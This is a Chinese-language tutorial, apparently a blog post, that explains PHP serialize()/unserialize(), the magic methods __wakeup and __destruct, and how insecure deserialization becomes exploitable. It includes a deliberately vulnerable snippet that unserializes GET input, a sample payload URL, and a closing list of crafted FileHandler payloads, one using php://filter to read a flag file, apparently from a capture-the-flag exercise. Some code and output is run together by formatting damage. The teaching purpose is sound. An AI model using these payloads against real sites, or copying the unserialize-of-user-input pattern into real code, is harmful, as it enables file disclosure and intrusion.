头图:
摘要:PHP允许保存一个对象方便以后重用,这个过程被称为序列化
序列化
serialize():用于序列化数组或对象,并返回一个字符串。把一个对象变成可以传输的字符串。
数组序列化
<?php$arr = array('a', 'bb', 'ccc');$serialized_arr = serialize($arr);echo $serialized_arr;?>
输出如下:
O表示存储的是Object对象,a表示array数组,s表示string字符型,i表示int数字型- 3代表有3个变量
 花括号内:
i:0表示index为0,s表示string字符型,1表示变量名的字符长度,a表示变量名a:3:{i:0;s:1:"a";i:1;s:2:"bb";i:2;s:3:"ccc";}# 格式化a:3:{i:0;s:1:"a";i:1;s:2:"bb";i:2;s:3:"ccc";}
对象序列化
<?phpclass name1 {var $test1;var $test2;}$test3 = new name1;$test3->test1 = 'hi';$test3->test2 = 'fun';echo serialize($test3);?>
输出如下
O:5:"name1":2:{s:5:"test1";s:2:"hi";s:5:"test2";s:3:"fun";}# 格式化O:5:"name1":2:{s:5:"test1";s:2:"hi";s:5:"test2";s:3:"fun";}
反序列化
unserialize()数组反序列化
<?php$arr = array('a', 'bb', 'ccc');$serialized_arr = serialize($arr);$unserialized_arr = unserialize($serialized_arr);print_r($unserialized_arr);?>
输出
Array([0] => a[1] => bb[2] => ccc)
对象反序列化
<?phpclass temp {var $test1;var $test2;}$test3 = new temp;$test3->test1 = 'hi';$test3->test2 = 'fun';$serialized_obj = serialize($test3);$unserialized_obj = unserialize($serialized_obj);print_r($unserialized_obj);?>
输出
name1 Object([test1] => hi[test2] => fun)
危险魔法函数
构造函数
__construct():当new创建对象时会自动调用。但在unserialize()时不会自动调用- 析构函数
__destruct():当对象被销毁时会自动调用 __wakeup():当调用unserialize()函数时会自动调用__sleep():当调用serialize()函数时自动调用漏洞原理
正常调用反序列化
<?phpclass temp{var $test = '123';}$obj = 'O:4:"temp":1:{s:4:"test";s:3:"123";}';print_r($obj);echo "</br>";$un_obj = unserialize($obj);print_r($un_obj);echo "</br>";?>
输出: ```php O:4:”temp”:1:{s:4:”test”;s:3:”123”;}
temp Object(
    [test] => 123
)
- 而假如在类中重写了危险的魔法函数,则可能存在漏洞```php<?phpclass temp{var $test = '123';function __wakeup(){echo "【Wakeup】";echo "</br>";}function __construct(){echo "【construct】";echo "</br>";}function __destruct(){echo "【destruct】";echo "</br>";}}$obj = 'O:4:"temp":1:{s:4:"test";s:3:"123";}';print_r($obj);echo "</br>";$un_obj = unserialize($obj);print_r($un_obj);echo "</br>";?>
输出:为了方便观察,这里将输出格式化了一下,分成4个部分
- 先输出
print_r($obj)部分 - 然后下面反序列化
$obj并赋值给$un_obj时,因为调用了反序列化函数unserialize(),因此也调用了__wakeup()函数 - 输出
print_r($un_obj)的内容 - 最后类销毁时调用了
__destruct()函数 ```php O:4:”temp”:1:{s:4:”test”;s:3:”123”;} 
【Wakeup】
temp Object(
    [test] => 123
)
【destruct】
<a name="BdaTr"></a>## 漏洞利用举个别人的例子:```php<?phpclass A{var $test = "demo";function __destruct(){echo $this->test;}}$a = $_GET['test'];$a_unser = unserialize($a);?>
- 假如构造payload:
[http://www.xxx.com/?test=O:1:"A":1:{s:4:"test";s:5:"hello";}](http://www.xxx.com/?test=O:1:%22A%22:1:%7Bs:4:%22test%22;s:5:%22hello%22;%7D),就能控制echo输出的变量O:1:"A":1:{s:4:"test";s:5:"hello";}O:11:"FileHandler":1:{s:2:"op";s:1:"2";}O:11:"FileHandler":2:{s:7:"content";s:8:"flag.php";s:2:"op";s:1:"2";}O:11:"FileHandler":3:{s:8:"filename";s:12:"/tmp/tmpfile";s:7:"content";s:8:"flag.php";s:2:"op";s:1:"2";}O:11:"FileHandler":3:{s:8:"filename";s:12:"/tmp/tmpfile";s:7:"content";s:12:"Hello World!";s:2:"op";s:1:"2";}O:11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";s:5:"Hello";}
 
